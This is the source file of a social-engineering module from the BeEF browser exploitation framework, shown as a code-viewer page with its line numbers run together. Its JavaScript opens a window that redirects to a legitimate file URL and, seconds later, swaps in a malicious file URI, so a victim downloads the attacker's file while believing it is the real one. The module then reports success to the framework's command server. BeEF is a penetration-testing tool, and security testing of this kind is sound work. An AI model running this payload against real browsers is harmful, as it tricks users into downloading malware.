Path: blob/master/modules/social_engineering/lcamtuf_download/command.js
1875 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var maliciousurl = '<%= @malicious_file_uri %>';8var realurl = '<%= @real_file_uri %>';9var w;10var once = '<%= @do_once %>';1112function doit() {1314if (!beef.browser.isIE()) {15w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');16setTimeout(donext, 4500);17}1819}20function donext() {21window.open(maliciousurl, 'foo');22if (once != true) setTimeout(donext, 5000);23once = true;24}25doit();26beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");27});282930